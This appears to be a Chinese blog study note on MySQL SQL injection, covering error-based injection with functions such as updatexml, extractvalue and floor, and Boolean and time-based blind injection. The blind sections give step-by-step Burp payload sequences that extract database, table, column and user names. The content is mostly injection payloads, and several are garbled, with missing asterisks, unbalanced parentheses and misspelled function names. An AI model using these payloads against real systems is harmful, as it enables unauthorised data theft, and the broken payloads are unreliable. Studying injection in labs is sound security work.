WEB渗透学习笔记3——报错注入和盲注

报错注入

报错注入原理

在MYSQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息

常用的报错函数

  • updatexml()

    updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数;

    and updatexml(xml_document,Xpathstring,new_value)

    • updatexml(1,concat(0x7e,([select] database()),0x7e),1)
      • xml_document:xml标记,可以是任意值
      • Xpathstring:显示输出的信息,正确的是路径xx/xxx/x
      • new_value:替换找到的符合条件的数据
  • extractvalue()

    extractvalue()函数也是MYSQL对XML文档数据进行查询的XPATH函数;

    正确的应该显示xml路径xx/xxx,但是我们要报错注入,所以就要故意输错以此来显示数据库报错信息

    • and extractvalue(1,concat(0x7e,(select database())))
  • floor()

    • and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • name_const()

    • and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
  • join

    • select * from(select * from mysql.user ajoin mysql.user b)c
  • exp()

    • and exp(~(select * from (select user () ) a) )
  • GeometryCollection()

    • and GeometryCollection(()select *from(select user () )a)b )
  • polygon()

    • and polygon (()select * from(select user ())a)b )
  • multipoint

    • and multipoint (()select * from(select user() )a)b )
  • multlinestring()

    • and multlinestring (()select * from(selectuser () )a)b )
  • multpolygon()

    • and multpolygon (()select * from(selectuser () )a)b )
  • linestring()

    • and linestring (()select * from(select user() )a)b )

盲注

有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。 盲注根据展现方式,分为boolean型盲注和时间型盲注

  • 当没有任何报错信息,没有任何输出的时候,只能使用盲注

Boolean盲注原理

Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点

Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否

Boolean盲注的判断方式

  • 通过长度判断:length():length(database())>=x
  • 通过字符判断:substr():substr(database(),1,1) =‘s’
  • 通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x

Boolean盲注攻击

  1. 判断注入类型
  2. 判断数据库名长度:and length(database())>=8
  3. Burp爆库名:and substr(database(),1,1)=‘a’ --+
  4. Burp爆表名:and substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘a’ --+
  5. Burp爆字段名:and substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1)=‘a’ --+
  6. Burp爆数据:and substr((select username from security.users limit 0,1),1,1)=‘a’ --+

时间盲注原理

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注

利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果 expr1是True,则返回expr2,否则返回expr3

时间盲注判断方式

输入两种类型语句 看哪个有延迟反应就是对应的类型

  • 字符型:'and sleep(5) --+

  • 数值型:and sleep(5)

时间盲注常用函数

• left(m,n) --从左向右截取字符串m返回其前n位

• substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串

• ascii(m) --返回字符m的ASCII码

• if(str1,str2,str3)–如果str1正确就执行str2,否则执行str3

• sleep(m)–使程序暂停m秒

• length(m) --返回字符串m的长度

• count(column_name) --返回指定列的值的数目

时间盲注攻击

  1. 判断注入类型

  2. 判断数据库名长度:and if(length(database())>=6,sleep(5),1)

  3. Burp爆库名:and if(substr(database(),1,1)=‘a’,sleep(5),1)

  4. Burp爆表名:and if(substr((select table_name from information_schema.tables where table_schema=‘test’ limit 0,1),1,1)=‘a’,sleep(5),1)

  5. Burp爆字段名:and if(substr((select column_name from information_schema.columns where table_schema=‘test’ and table_name=‘users’ limit

    0,1),1,1)=‘a’,sleep(5),1)

  6. Burp爆数据:and if(substr(select username from test.users limit 0,1),1,1)=‘a’,sleep(5),1)

你可能感兴趣的:(数据库,web,sql)